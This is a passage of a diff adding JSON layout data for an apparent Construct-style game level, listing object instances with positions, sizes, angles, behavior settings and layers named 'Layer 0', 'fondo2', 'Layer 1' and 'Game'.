+ 1
+ ]
+ ],
+ [
+ [
+ 8703,
+ 844,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3418,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8611,
+ 844,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3419,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8887,
+ 844,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3420,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8979,
+ 844,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3421,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 9071,
+ 844,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3422,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 9796,
+ 502,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3423,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 9888,
+ 502,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3424,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 9980,
+ 502,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3425,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10072,
+ 502,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3426,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10164,
+ 216,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3427,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10164,
+ 502,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3430,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 9162,
+ 596,
+ 0,
+ 178.8981018066406,
+ 19.72144317626953,
+ 0,
+ -0.5061454772949219,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3431,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 9501,
+ 485,
+ 0,
+ 92.81533813476562,
+ 49.44043731689453,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3432,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 9934,
+ 504,
+ 0,
+ 367.4649963378906,
+ 90.43286895751953,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3433,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8526,
+ 487,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3435,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8841,
+ 555,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3436,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 9198,
+ 499,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3437,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 9507,
+ 319,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3438,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 9932,
+ 403,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3439,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10032,
+ 339,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3440,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 9793,
+ 1104,
+ 0,
+ 2461,
+ 458,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 486,
+ 3441,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10257,
+ 216,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3442,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10440,
+ 216,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3443,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10257,
+ 502,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3451,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10349,
+ 502,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3454,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10441,
+ 502,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3455,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10532,
+ 216,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3456,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10624,
+ 216,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3457,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10624,
+ 598,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 477,
+ 3460,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10532,
+ 502,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3462,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10715,
+ 216,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3466,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10807,
+ 216,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3467,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10809,
+ 407,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3468,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10809,
+ 502,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3469,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10809,
+ 312,
+ 0,
+ 95.91248321533203,
+ 98.14300537109375,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3470,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10624,
+ 693,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 478,
+ 3471,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10717,
+ 693,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 478,
+ 3472,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10808,
+ 693,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 478,
+ 3473,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10901,
+ 693,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 478,
+ 3474,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11133,
+ 555,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9805812835693359,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 3475,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10813,
+ 599,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3479,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 12181,
+ 653,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.1818251013755798,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 3489,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 12276,
+ 731,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3490,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10752,
+ 312,
+ 0,
+ 38,
+ 34,
+ 0,
+ -1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 3491,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10887,
+ 321,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3492,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 12277,
+ 826,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3522,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 12277,
+ 922,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3523,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 12276,
+ 1017,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3524,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11605,
+ 383,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3525,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10805,
+ 832,
+ 0,
+ 281,
+ 374,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3531,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10624,
+ 219,
+ 0,
+ 459,
+ 88,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3532,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10808,
+ 367,
+ 0,
+ 91,
+ 366,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3533,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11076,
+ 597,
+ 0,
+ 287,
+ 33,
+ 0,
+ -0.5061454772949219,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3534,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 12127,
+ 616,
+ 0,
+ 297.0997924804688,
+ 28,
+ 0,
+ 0.6457718014717102,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3536,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 9954,
+ 679,
+ 0,
+ 382.4701232910156,
+ 201.9481506347656,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 3537,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10349.5,
+ 646,
+ 0,
+ 458,
+ 374,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3364,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10441,
+ 736,
+ 0,
+ 458,
+ 374,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3365,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Layer 0",
+ 2,
+ 315435266070881,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.05000000074505806,
+ 0.300000011920929,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "fondo2",
+ 3,
+ 249294894514270,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.800000011920929,
+ 0.8500000238418579,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Layer 1",
+ 4,
+ 474638463274570,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.8999999761581421,
+ 0.8999999761581421,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 11568,
+ 491,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 3359,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11422,
+ 540,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 3370,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11788,
+ 536,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 3371,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Game",
+ 5,
+ 177556811781977,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 4636,
+ 2155,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4846,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -696,
+ 671,
+ 0,
+ 98,
+ 54,
+ 0,
+ -0.3490662574768066,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4860,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4470,
+ 2094,
+ 0,
+ 71,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.9718309640884399,
+ 0.5185185074806213,
+ 0,
+ 0,
+ []
+ ],
+ 351,
+ 4866,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 3,
+ 0
+ ],
+ [
+ 0,
+ 0,
+ 27,
+ "6943,495",
+ 0,
+ 1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4472,
+ 2110,
+ 0,
+ 26,
+ 123,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5040650367736816,
+ 0,
+ 0,
+ []
+ ],
+ 350,
+ 4867,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1370,
+ 4830,
+ 0,
+ 31,
+ 31,
+ 0,
+ 0,
+ 1,
+ 0.5161290168762207,
+ 0.5161290168762207,
+ 0,
+ 0,
+ []
+ ],
+ 199,
+ 4886,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ -3155,
+ 3375,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 202,
+ 4887,
+ [],
+ [],
+ [
+ 20,
+ 360,
+ 1,
+ 200,
+ 32,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -3124,
+ 3017,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 207,
+ 4888,
+ [],
+ [],
+ [
+ 50,
+ 360,
+ 1,
+ 200,
+ 15,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -130,
+ -341,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 318,
+ 4895,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5,
+ -343,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 319,
+ 4896,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 149,
+ -352,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 320,
+ 4897,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -896,
+ 256,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 322,
+ 4951,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4536,
+ 2229,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 4994,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4536,
+ 2485,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 4998,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5206,
+ -521,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 4999,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4536,
+ 2357,
+ 0,
+ 128,
+ 128,
+ 0,
